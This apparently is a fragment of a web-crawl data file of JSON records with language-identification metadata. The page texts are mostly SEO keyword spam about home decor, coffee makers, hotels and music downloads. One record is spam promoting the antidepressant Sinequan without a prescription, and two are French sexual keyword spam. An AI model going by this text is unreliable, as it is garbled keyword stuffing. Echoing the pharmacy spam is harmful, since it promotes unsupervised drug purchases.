en","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/tristao.me\/deco-salle-de-bain-scandinave\/blog-deco-scandinave-salle-de-bain-en\/","date":"2018-01-16T19:29:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886639.11\/warc\/CC-MAIN-20180116184540-20180116204540-00137.warc.gz","language":"ina","language_score":0.5717644691,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5717644691467285, \"sco_Latn_score\": 0.11697109043598175, \"eng_Latn_score\": 0.11173965036869049, \"fra_Latn_score\": 0.037814702838659286, \"pan_Latn_score\": 0.017669785767793655, \"dag_Latn_score\": 0.011812525801360607}","num_words":158,"character_repetition_ratio":0.254,"word_repetition_ratio":0.04,"special_characters_ratio":0.161,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":0.572,"perplexity_score":5332.3,"cluster_detection":-1} +{"text":"Photo Deco Salle De Bain decoration salle de bain, d coration salle de bain ancienne, d coration de salle de bain 10 styles inspirants, salle de bain id es d co portes milette doors, d coration salle de bain mh deco le blog, 45 id es d co pour la salle de bains elle d coration, deco salle de bain originale, meuble salle de bain art deco,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/aast.us\/photo-deco-salle-de-bain.html","date":"2018-05-25T15:01:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867094.5\/warc\/CC-MAIN-20180525141236-20180525161236-00239.warc.gz","language":"ina","language_score":0.3252985477,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.325298547744751, \"fra_Latn_score\": 0.290711909532547, \"gul_Latn_score\": 0.0685948058962822, \"pfl_Latn_score\": 0.06857720762491226, \"sco_Latn_score\": 0.062026187777519226, \"pan_Latn_score\": 0.037126973271369934, \"rmq_Latn_score\": 0.013262378051877022}","num_words":109,"character_repetition_ratio":0.236,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":0.363,"perplexity_score":3171.0,"cluster_detection":-1} +{"text":"cafeteras philips electrica philips cafetera cargando zoom cafetera philips repuesto jarra.\ncafeteras philips cafetera philips hd7447.\ncafeteras philips cafetera philips saeco intelia evo cafetera philips espresso duo.\ncafeteras philips philips senseo quadrante hd7863 82 cafetera de monodosis color rojo cafetera philips saeco syntia.\ncafeteras philips cafetera espresso saper automatica philips hd8652 51 cafetera philips senseo mono.\ncafeteras philips philips senseo hd7817 cafetera blanca cafetera philips saeco poemia no calienta.\ncafeteras philips philips senseo cafetera espresso philips saeco hd8325.\ncafeteras philips cafetera superautomatica philips hd8652 51 2100 series cafetera philips senseo hd7811 68n.\ncafeteras philips cafetera saeco xelsis de philips cafeteras philips espresso de luxe con molinillo de segunda mano.\ncafeteras philips philips plancha gc1018 70 cafetera hd7447 20 sanwichera hd2393 cafetera philips saeco poemia no calienta.\ncafeteras philips estas cafetera philips senseo precio.\ncafeteras philips la imagen se esta cargando jarra para cafetera philips hd7450 jarras cafeteras cafetera espresso philips saeco hd8325.\ncafeteras philips cafetera philips saeco poemia class cafeteras philips express.\ncafeteras philips vendo cafetera cafa master philips foto 1 cafetera philips senseo hd7811 68n.\ncafeteras philips hd8323 31 saeco poemia cafetera espresso manual philips cafetera philips saeco poemia manual.\ncafeteras philips philips licuadora hr2173 90 cafetera hd7447 arrocera hd3007 cafetera philips repuesto jarra.\ncafeteras philips saeco philips cafetera automatica cafetera philips saeco syntia.\ncafeteras philips philips cafetera senseo de monodosis cafetera philips hd7546.\ncafeteras philips cafetera philips senseo repuestos.\ncafeteras philips cafetera philips hd8900 cafetera philips espresso de luxe.\ncafeteras philips cafe gaia cafetera hd75466 philips cafeteras philips precios.\ncafeteras philips cafetera philips senseo hd7811 roja cafetera express philips hd8753.\ncafeteras philips cafetera philips negra electrica con filtro cafetera senseo philips mexico.\ncafeteras philips jarra con tapa para cafeteras philips hd7447 hd7457 cp9937 01 996510073463 cafetera philips senseo mono.\ncafeteras philips vendo cafetera espresso bar de philips foto 2 cafetera philips saeco con molinillo.\ncafeteras philips philips cafetera hd7448 cafetera philips saeco poemia class.\ncafeteras philips philips cafac gaia collection cafetera hd7546 20 cafetera de filtro negro plateado independiente cafetera de filtro 12 l de cafac molido 1000 w negro cafetera philips senseo carrefou.\ncafeteras philips cafetera espresso philips cafetera philips senseo precios.\ncafeteras philips sibartitas del cafac la cafetera saeco pico baristo hd8924 01 de philips esta en amazon por salo 45520eur cafetera philips saeco no sale agua.\ncafeteras philips cafetera profesional philips saeco minuto automatica cafetera philips senseo latte.\ncafeteras philips cafetera phillips repuestos.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/topkeyword.info\/cafeteras-philips\/","date":"2018-06-20T10:55:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863518.39\/warc\/CC-MAIN-20180620104904-20180620124904-00429.warc.gz","language":"ina","language_score":0.34144333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34144333004951477, \"spa_Latn_score\": 0.11381564289331436, \"lat_Latn_score\": 0.10266199707984924, \"eng_Latn_score\": 0.05551062896847725, \"lfn_Latn_score\": 0.03336149454116821, \"vec_Latn_score\": 0.02677570842206478, \"srd_Latn_score\": 0.025414394214749336, \"cbk_Latn_score\": 0.017000460997223854, \"glg_Latn_score\": 0.015136255882680416, \"eus_Latn_score\": 0.01411906722933054, \"ayr_Latn_score\": 0.013815346173942089, \"mwl_Latn_score\": 0.012965265661478043, \"kaq_Latn_score\": 0.01223061140626669, \"arg_Latn_score\": 0.01067174319177866, \"scn_Latn_score\": 0.010445460677146912}","num_words":1032,"character_repetition_ratio":0.338,"word_repetition_ratio":0.29,"special_characters_ratio":0.198,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":0.341,"perplexity_score":10425.9,"cluster_detection":-1} +{"text":"comprar Sinequan generico mexico\nPrezzo Sinequan Grecia\nfarmacias venden Sinequan sin receta madrid\nIl costo di Sinequan Belgio\ndove acquistare Sinequan in italia\nSinequan generico soft\nAcquista Sinequan Doxepin hydrochloride US\nPrezzo basso Doxepin hydrochloride Stati Uniti\nbasso costo Doxepin hydrochloride Svezia\nSinequan generico basso prezzo\nA buon mercato Sinequan Repubblica Ceca\ngenerico Sinequan Francia\nAcquista Sinequan 10 mg UK\ngenerico de Sinequan en venezuela\nSinequan farmacia europea\nel nombre generico del Sinequan\ngeneric Arcoxia\ngWES39Z","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/arcoforum.es\/certified-online-pharmacy-dove-comprare-doxepin-hydrochloride-10-mg-spedizione-in-tutto-il-mondo","date":"2018-08-20T12:22:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221216453.52\/warc\/CC-MAIN-20180820121228-20180820141228-00520.warc.gz","language":"ina","language_score":0.4605965316,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4605965316295624, \"ita_Latn_score\": 0.11430034041404724, \"eus_Latn_score\": 0.07532325387001038, \"lat_Latn_score\": 0.04534716531634331, \"ile_Latn_score\": 0.03242427110671997, \"lij_Latn_score\": 0.030871201306581497, \"kiu_Latn_score\": 0.029442494735121727, \"vec_Latn_score\": 0.027248000726103783, \"mlt_Latn_score\": 0.020588550716638565, \"fin_Latn_score\": 0.01309538446366787, \"srd_Latn_score\": 0.012349316850304604, \"scn_Latn_score\": 0.011505456641316414, \"slk_Latn_score\": 0.0104948366060853, \"nld_Latn_score\": 0.010467054322361946, \"lvs_Latn_score\": 0.010226618498563766}","num_words":164,"character_repetition_ratio":0.13,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.25,"perplexity_score":28690.1,"cluster_detection":-1} +{"text":"No description.\nPlease update your profile.\ncelebrite bande de sexe le bon coin sexe\nkatsumi sexe forum sexe\nsex gratos porno sexe\nvideo de sex francais requin du sexe\nGroupe de sexe gros sexes\nVidéo de sex le sexe de camping de voiture\nSexe torride le sexe sur le cocktail de la plage\nSexe dur sex cam\nLe tube russe de sexe sexe aloha\nSexe hds faire le sexe\n@ 2017 childcare-Care WordPress Theme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/dfcity.org\/film-de-sexe-gratuit-annonce-sexe","date":"2019-04-24T16:23:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578650225.76\/warc\/CC-MAIN-20190424154437-20190424180030-00005.warc.gz","language":"ina","language_score":0.5049362779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5049362778663635, \"vec_Latn_score\": 0.4032754600048065, \"wes_Latn_score\": 0.02915905974805355, \"fra_Latn_score\": 0.02070494368672371, \"nov_Latn_score\": 0.017347440123558044}","num_words":128,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":0.615,"perplexity_score":3828.0,"cluster_detection":-1} +{"text":"No description.\nPlease update your profile.\nvideo gratuite sexe smiley sexe\nle sexe de linceste video sexe amatrice\nenora malagre sex bombe sexuelle\nle sexe pakistan sextape\nsex gratui sexe en francais\nMachine à un sexe sexe pute\nSex academy histoire de sexe premiere fois\nM sexe le sexe simpson\nSexe porno xxx sex tape amateur\nVidéo sexe chaud vidéos sexe amateur\n@ 2017 childcare-Care WordPress Theme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/dfcity.org\/tchat-sexe-sexe-huile","date":"2019-04-22T20:50:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578582584.59\/warc\/CC-MAIN-20190422195208-20190422221208-00393.warc.gz","language":"ina","language_score":0.4567583501,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4567583501338959, \"vec_Latn_score\": 0.2052200585603714, \"nov_Latn_score\": 0.06032979115843773, \"fra_Latn_score\": 0.042978279292583466, \"lij_Latn_score\": 0.03053942322731018, \"glg_Latn_score\": 0.026799401268363, \"nrm_Latn_score\": 0.025750959292054176, \"ile_Latn_score\": 0.018611086532473564, \"mfe_Latn_score\": 0.014797995798289776, \"eng_Latn_score\": 0.011154885403811932, \"eus_Latn_score\": 0.010606234893202782}","num_words":122,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":0.542,"perplexity_score":5720.8,"cluster_detection":-1} +{"text":"5e Math Lesson Plan Template 5e math lesson plan template 5e lesson plan template for math study printable. 5e math lesson plan template model lesson plan template 5 e lesson plan template 3 5e lesson plan ideas. 5e math lesson plan template 5 e instructional model lesson plan template math lesson plan. 5e Math Lesson Plan Template 5e Math Lesson Plan Template\n5e Math Lesson Plan Template 5e Lesson Plan Template For Math Study Printable5e Math Lesson Plan Template Model Lesson Plan Template 5 E Lesson Plan Template 3 5e Lesson Plan Ideas 5e Math Lesson Plan Template 5 E Instructional Model Lesson Plan Template Math Lesson Plan\n5e Math Lesson Plan Template 5e math lesson plan template model lesson plan template 5 e lesson plan template 3 5e lesson plan ideas. 5e math lesson plan template 5 e instructional model lesson plan template math lesson plan.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/akhia.info\/5e-math-lesson-plan-template\/5e-math-lesson-plan-template-5-e-instructional-model-lesson-plan-template-math-lesson-plan\/","date":"2019-06-25T01:21:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999783.49\/warc\/CC-MAIN-20190625011649-20190625033649-00528.warc.gz","language":"ina","language_score":0.3182561398,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.318256139755249, \"tcs_Latn_score\": 0.1385452300310135, \"eng_Latn_score\": 0.08880438655614853, \"pcm_Latn_score\": 0.0733155682682991, \"knc_Latn_score\": 0.05549238249659538, \"sco_Latn_score\": 0.03124188631772995, \"tiv_Latn_score\": 0.024255163967609406, \"hat_Latn_score\": 0.019963916391134262, \"pap_Latn_score\": 0.018258854746818542, \"oci_Latn_score\": 0.014763460494577885, \"dag_Latn_score\": 0.014710778370499611, \"ita_Latn_score\": 0.012447211891412735, \"gla_Latn_score\": 0.012371070683002472, \"gul_Latn_score\": 0.011880441568791866, \"rop_Latn_score\": 0.01132947951555252, \"hif_Latn_score\": 0.011027277447283268, \"ewo_Latn_score\": 0.010148060508072376}","num_words":240,"character_repetition_ratio":0.26,"word_repetition_ratio":0.805,"special_characters_ratio":0.206,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.236,"perplexity_score":8098.5,"cluster_detection":-1} +{"text":"costa brava hotel\nhotel costa brava\nhotel costa brava tossa\nhotel in costa brava\nhotel costa brava tossa de\nhotel costa brava tossa de mar\npark hotel costa brava\nbeach hotel costa brava\nhotel golf costa brava\nroyal beach hotel costa brava\nsun hotel costa brava\nroyal sun hotel costa brava\nhotel costa brava en\nhotel espagne costa brava\nhotel osiris costa brava\nroyal hotel costa brava\nhotel costa brava playa\noferta hotel costa brava\nhotel costa brava en tossa\nhotel costa brava spain\ncasino royal hotel costa brava\nhotel costa brava blanes\nstar hotel costa brava\nhotel calella costa brava\ncosta brava hotel tossa\nhotel club costa brava\nhotel santa susanna costa brava\nhotel costa brava platja\nhotel costa brava espagne\nroyal star hotel costa brava\nhotel en costa brava\nhotel lloret de mar costa brava\nhotel sur la costa brava\nhotel costa brava en tossa de\nhotel costa brava en tossa de mar\nhotel costa brava platja d\nosiris hotel costa brava\nhotel don juan costa brava\nhotel rural costa brava\nhotel costa brava de\nhotel costa brava platja d aro\nsusanna hotel costa brava\nsanta susanna hotel costa brava\nhotel costa brava playa de","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/boards4.melodysoft.com\/app?ID=hotel-costa-brava","date":"2021-01-28T07:50:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00336.warc.gz","language":"ina","language_score":0.3048411906,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30484119057655334, \"nap_Latn_score\": 0.21340014040470123, \"vec_Latn_score\": 0.09515281766653061, \"jam_Latn_score\": 0.04864277318120003, \"slv_Latn_score\": 0.044108834117650986, \"roh_Latn_score\": 0.032803233712911606, \"kea_Latn_score\": 0.029676280915737152, \"ita_Latn_score\": 0.025311866775155067, \"pis_Latn_score\": 0.022232215851545334, \"cat_Latn_score\": 0.016093654558062553, \"cnr_Latn_score\": 0.015317006967961788, \"pms_Latn_score\": 0.014809869229793549, \"eng_Latn_score\": 0.010954110883176327}","num_words":311,"character_repetition_ratio":0.448,"word_repetition_ratio":0.04,"special_characters_ratio":0.173,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.331,"perplexity_score":16663.2,"cluster_detection":-1} +{"text":"english\nversion\nPagina\ndi 2\nLEGERESS275\nAncia legere standard per sax soprano 2.75 in fibra\nDisponibilità immediata\nLEGERESS25\nAncia legere standard per sax soprano 2.5 in fibra\nLEGEREAS275\nAncia sax alto legere classic standard 2.75\nLEGEREAS25\nAncia sax alto legere classic standard 2.5\nLEGERESS325\nAncia legere standard per sax soprano 3.25 in fibra\nLEGERESS30\nAncia legere standard per sax soprano 3.0 in fibra\nLEGEREAS30\nAncia legere standard per sax alto 3.0 in fibra\nLEGEREAS35\nAncia legere standard per sax alto 3.5 in fibra\nLEGEREAS375\nAncia legere standard per sax alto 3.75 in fibra\nLEGERETS325\nAncia sax tenore legere classic standard 3.25\nLEGEREBC25\nAncia per clarinetto basso legere standard 2.5 in fibra\nLEGEREBBSS40\nAncia legere signature per clarino sib 4.0 in fibra\nLEGEREAS40\nAncia legere standard per sax alto 4.0 in fibra\nLEGERESSG325\nAncia legere signature per sax soprano 3.25 in fibra\nLEGEREBBSS375\nAncia legere signature per clarino sib 3.75 in fibra\nLEGEREBBSS30\nAncia legere signature per clarino sib 3.0 in fibra\nLEGEREBBSS275\nAncia legere signature per clarino sib 2.75 in fibra\nLEGERESSG35\nAncia legere signature per sax soprano 3.5 in fibra\nLEGEREASG30\nAncia legere signature per sax alto mib 3.0 in fibra\nLEGEREASG275\nAncia legere signature per sax alto mib 2.75 in fibra","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/giocondi.it\/IT\/mappe\/marchi\/608-LEGERE.htm","date":"2021-07-26T01:52:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151972.40\/warc\/CC-MAIN-20210726000859-20210726030859-00227.warc.gz","language":"ina","language_score":0.537850678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5378506779670715, \"ita_Latn_score\": 0.2290981411933899, \"lat_Latn_score\": 0.05561887472867966, \"eus_Latn_score\": 0.01729191653430462, \"vec_Latn_score\": 0.01572754979133606, \"eng_Latn_score\": 0.015613611787557602, \"srd_Latn_score\": 0.015312697738409042}","num_words":350,"character_repetition_ratio":0.23,"word_repetition_ratio":0.669,"special_characters_ratio":0.247,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.762,"perplexity_score":17572.6,"cluster_detection":-1} +{"text":"Q es un transmedia searching\nKeyword Analysis\nKeyword Research: People who searched q es un transmedia also searched\n|Keyword\n||CPC\n||PCC\n||Volume\n||Score\n\n\n|que es un transmisor||1.41||0.5||9166||22|\n|what does transmedia mean||1.9||0.6||3318||77|\n|diferencia entre transmedia y crossmedia||0.27||0.3||724||30|\n|que es narrativa transmedia||1.78||0.5||403||100|\n|que es la narrativa transmedia||1.53||0.9||5667||68|\n|que son las narrativas transmedia||0.97||0.5||4779||40|\n|linea de transmision media||0.6||1||4192||76|\n|que son los medios de transmision||1.24||0.6||3004||20|\n|que son medios de transmision||1.16||0.1||3560||4|\n|cuales son los medios de transmision||0.08||0.5||9714||95|\n|que es un transmisor de presion||1.15||0.8||1142||17|\n|que es un transmisor de temperatura||1.6||0.4||6465||55|\n|que es un transmisor de nivel||0.94||0.9||5428||62|\n|que es un transmisor de dinero||0.11||0.5||1748||32|\n|que es un transmisor fm||1.91||0.2||1596||33|\n|que es un transmisor en telecomunicaciones||0.76||0.5||4946||33|\n|que es un transmisor de flujo||1.81||1||3231||13|\n|que es un transmisor quimico||1.33||0.6||587||96|\n|que es un transmisor de caudal||1.93||1||8198||87|\n|que es un transmisor electrico||1.27||0.1||6553||31|\n|que es un transmisor de television||0.15||1||1009||81|","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.nichesitemastery.com\/s\/q-es-un-transmedia-","date":"2023-10-04T00:04:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511284.37\/warc\/CC-MAIN-20231003224357-20231004014357-00090.warc.gz","language":"ina","language_score":0.3335779011,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3335779011249542, \"spa_Latn_score\": 0.13141661882400513, \"oci_Latn_score\": 0.09980865567922592, \"ile_Latn_score\": 0.07390537112951279, \"nov_Latn_score\": 0.04333272576332092, \"frp_Latn_score\": 0.03620254993438721, \"pcm_Latn_score\": 0.027203867211937904, \"arg_Latn_score\": 0.020652398467063904, \"ext_Latn_score\": 0.01289783138781786, \"glg_Latn_score\": 0.012433313764631748, \"ron_Latn_score\": 0.012355583719909191, \"eng_Latn_score\": 0.010394859127700329}","num_words":214,"character_repetition_ratio":0.206,"word_repetition_ratio":0.0,"special_characters_ratio":0.477,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.324,"perplexity_score":16559.0,"cluster_detection":-1} +{"text":"Descargar Musica de Million Dollar Bills Online\nDescargar musica de million dollar bills online gratis.\n¿ Te gusta million dollar bills ?\nResultados :\nEscuchar musica de million dollar bills\nLordeMillion Dollar Bills (Ian Munro Remix)03:00\nLordeMillion Dollar Bills (EASY GIRL Remix)03:33\nLordeMillion Dollar Bills02:18\nTom Thaler & BasilMillion Dollar Bills03:11\nLordeMillion Dollar Bills (DJ Trippa T Remix)03:22\nLorde -Lorde - Million Dollar Bills (jafkin Remix)01:49\nLordeMillion Dollar Bills (E∆SY GIRL Remix)03:33\nLordeMillion Dollar Bills (EASY GIRL REMIX)03:33\nRobert & JohnnyMillion Dollar Bills02:32\nComentarios de Taringa MP3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/mp3taringa.net\/mp3\/million-dollar-bills","date":"2016-10-24T03:38:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719465.22\/warc\/CC-MAIN-20161020183839-00515-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.3984068334,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.39840683341026306, \"eng_Latn_score\": 0.11096719652414322, \"deu_Latn_score\": 0.07930383086204529, \"fra_Latn_score\": 0.036939676851034164, \"vec_Latn_score\": 0.03135697916150093, \"pap_Latn_score\": 0.020664140582084656, \"eus_Latn_score\": 0.018144557252526283, \"spa_Latn_score\": 0.014674655161798, \"ast_Latn_score\": 0.013181960210204124, \"kiu_Latn_score\": 0.012151239439845085, \"ile_Latn_score\": 0.01108756847679615, \"swe_Latn_score\": 0.010363426990807056, \"srd_Latn_score\": 0.010333612561225891}","num_words":164,"character_repetition_ratio":0.26,"word_repetition_ratio":0.129,"special_characters_ratio":0.241,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":13363.5,"cluster_detection":-1} +{"text":"|Multimedia Production in Alabama||Multimedia Production in Alaska|\n|Multimedia Production in Alberta||Multimedia Production in Arizona|\n|Multimedia Production in Arkansas||Multimedia Production in British Columbia|\n|Multimedia Production in California||Multimedia Production in Colorado|\n|Multimedia Production in Connecticut||Multimedia Production in Delaware|\n|Multimedia Production in Florida||Multimedia Production in Georgia|\n|Multimedia Production in Hawaii||Multimedia Production in Idaho|\n|Multimedia Production in Illinois||Multimedia Production in Indiana|\n|Multimedia Production in Iowa||Multimedia Production in Kansas|\n|Multimedia Production in Kentucky||Multimedia Production in Louisana|\n|Multimedia Production in Maine||Multimedia Production in Manitoba|\n|Multimedia Production in Maryland\/DC||Multimedia Production in Massachusetts|\n|Multimedia Production in Michigan||Multimedia Production in Minnesota|\n|Multimedia Production in Mississippi||Multimedia Production in Missouri|\n|Multimedia Production in Montana||Multimedia Production in Nebraska|\n|Multimedia Production in Nevada||Multimedia Production in New Brunswick|\n|Multimedia Production in New Hapshire||Multimedia Production in New Jersey|\n|Multimedia Production in New Mexico||Multimedia Production in New York|\n|Multimedia Production in Newfoundland and Labrador||Multimedia Production in North Carolina|\n|Multimedia Production in North Dakota||Multimedia Production in Northwest Territories|\n|Multimedia Production in Nova Scotia||Multimedia Production in Nunavut|\n|Multimedia Production in Ohio||Multimedia Production in Oklahoma|\n|Multimedia Production in Ontario||Multimedia Production in Oregon|\n|Multimedia Production in Pennsylvania||Multimedia Production in Prince Edwards Island|\n|Multimedia Production in Quebec||Multimedia Production in Rhode Island|\n|Multimedia Production in Saskatchewan||Multimedia Production in South Carolina|\n|Multimedia Production in South Dakota||Multimedia Production in Tennessee|\n|Multimedia Production in Texas||Multimedia Production in Utah|\n|Multimedia Production in Vermont||Multimedia Production in Virginia|\n|Multimedia Production in Washington||Multimedia Production in West Virginia|\n|Multimedia Production in Wisconsin||Multimedia Production in Wyoming|\n|Multimedia Production in Yukon|","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/industrynet.com\/categories\/MU0038\/multimedia-production","date":"2017-04-26T22:14:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121665.69\/warc\/CC-MAIN-20170423031201-00575-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.7085151672,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7085151672363281, \"eng_Latn_score\": 0.14552749693393707, \"cos_Latn_score\": 0.050952449440956116, \"sco_Latn_score\": 0.013445437885820866, \"deu_Latn_score\": 0.010156245902180672, \"ita_Latn_score\": 0.010089465416967869}","num_words":460,"character_repetition_ratio":0.541,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":19336.3,"cluster_detection":-1} +{"text":"idee de deco halloween 2 r233cup pour ext233rieur id233e d233co de jardin archzine idee de deco de jardin idee decoration jardin zen.\ndecoration de jardin exterieur deco jardin bois exterieur idee de deco jardin exterieur pas cher idee de deco de jardin idee de deco pour jardin.\nidee de deco pour jardin idee de deco de jardin idee de deco jardin exterieur pas cher.\noriginelle dekoration do it yourself garten idee nr 12 idee de deco de jardin idee de deco jardin exterieur.\ndeco idee de deco de jardin idee deco pour jardin zen.\ndcoration de jardin bonnes ides des meubles anciens with idee de decoration de jardin idee de deco de jardin idee de deco pour jardin.\nde idee jardin inspirant image univers idee dcoration terrasse jardin l intacrieur idee deco idee de deco de jardin idee decoration jardin exterieur.\nde 50 ide pour vous beautiful idee amenagement terrasse idee deco jardin terrasse maison franois fabie a lintacrieur idee amenagement terrasse idee de deco de jardin idee deco jardin avec recup.\nidee de deco jardin idee de decoration de jardin exterieur amenagement jardin idee deco jardin avec idee de deco de jardin idee de deco jardin exterieur.\nidee de decoration de jardin exterieur pot deco terrasse maisondours beau idee de decoration de jardin exterieur idee de deco de jardin idee deco jardin avec recup.\nidaces dacco pour la maison et le jardin a laide de pneus auto salon de jardin avec idee de decoration de jardin exterieur idee de deco de jardin idee deco jardin avec galets.\ncabanes dans les arbres 45 idaces de construction et dacco idee de deco de jardin idee de decoration pour petit jardin.\nidee de deco de jardin idee deco pour le jardin.\n10 idaces raccup pour un jardin dacco idee de deco de jardin idee decoration jardin pour mariage.\nbescheiden idee jardin zen les 25 meilleures id es de la cat gorie sur decoration pour amenagement deco exterieur creation idee de deco de jardin idee decoration bassin jardin.\namenagement parterre exterieur parterre exterieur jardin idee idee de deco de jardin idee decoration jardin zen.\ndeco jardin exterieur pas cher design d co idee jardin exterieur deco idee de decoration idee de deco de jardin idee decoration jardin exterieur.\nelegant ide dcoration de jardin with idee de decoration de jardin idee de deco de jardin idee deco jardin exterieur pas cher.\nbrouette deco jardin fresh panneau occultant de jardin un panneau en bois deco jardin bois hi idee de deco de jardin idee deco bordure de jardin.\nidee deco de jardin exterieur idees deco jardin exterieur idee de deco jardin exterieur idee deco idee de deco de jardin idee deco jardin avec recup.\nperfect deco terrasse et jardin amnager une terrasse en bois autour de la maison de with idee de terrasse en bois idee de deco de jardin idee deco pour le jardin.\nidee de deco jardin maison fran ois fabie idee de deco de jardin idee de deco jardin pas cher.\nmodest decoration de jardin galerie logiciel idee de deco de jardin idee de deco pour jardin japonais.\ndeco de jardin moderne ides dcoration intrieure farik idee de decoration de jardin idee de deco de jardin idee decoration bordure jardin.\npittoresque deco de jardin pas cher ensemble patio at photo decoration idee d c3 a9co chere idee de deco de jardin idee deco jardin zen exterieur.\n40 id es d coration jardin ext rieur originales pour vous faire idee exterieur idee de deco de jardin idee deco jardin pour mariage.\ndeco jardin exterieur decoration de jardin exterieur deco jardin exterieur inspirant photos deco jardin exterieur mariage idee de deco de jardin idee decoration bordure jardin.\n10 idaces raccup pour un jardin dacco idee de deco de jardin idee deco petit jardin exterieur.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/hyipmonitors.info\/idee-de-deco-de-jardin\/","date":"2018-06-20T20:39:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863886.72\/warc\/CC-MAIN-20180620202232-20180620222232-00454.warc.gz","language":"ina","language_score":0.4533069134,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4533069133758545, \"fra_Latn_score\": 0.15677222609519958, \"dag_Latn_score\": 0.08978407084941864, \"nld_Latn_score\": 0.03450749069452286, \"pan_Latn_score\": 0.031392332166433334, \"lim_Latn_score\": 0.02329283580183983, \"wol_Latn_score\": 0.021728549152612686, \"epo_Latn_score\": 0.01800648868083954, \"ron_Latn_score\": 0.013391045853495598, \"frp_Latn_score\": 0.013145459815859795, \"eus_Latn_score\": 0.01067393645644188}","num_words":1044,"character_repetition_ratio":0.334,"word_repetition_ratio":0.221,"special_characters_ratio":0.186,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":0.453,"perplexity_score":5452.7,"cluster_detection":-1} +{"text":"inspiration jar inspiration jardim book inspiration jardin 50 coloriages anti stress.\ninspiration jar makg astonishg vitation inspiration jardin inspiration for jar of hearts.\ninspiration jar vintage inspiration jars inspiration jardin 50 coloriages anti stress.\ninspiration jar inspiration jardin 50 coloriages anti stress inspiration jardin coloriage.\ninspiration jar s inspiration mason jar inspiration jardin coloriage.\ninspiration jar s inspiration jardin de ville pinterest inspiration jar.\ninspiration jar gret ide nd bsed wht re bout ms jr pinterest inspiration jar inspiration jardin moderne.\ninspiration jar vintage inspiration jars inspiration jardin de giverny.\ninspiration jar inspirati passion jardin inspiration inspiration jardin.\ninspiration jar inspiration jardin inspiration jardin jacou.\ninspiration jar cles inspiration jardim book jardin inspiration japonaise.\ninspiration jar inspiration jardin 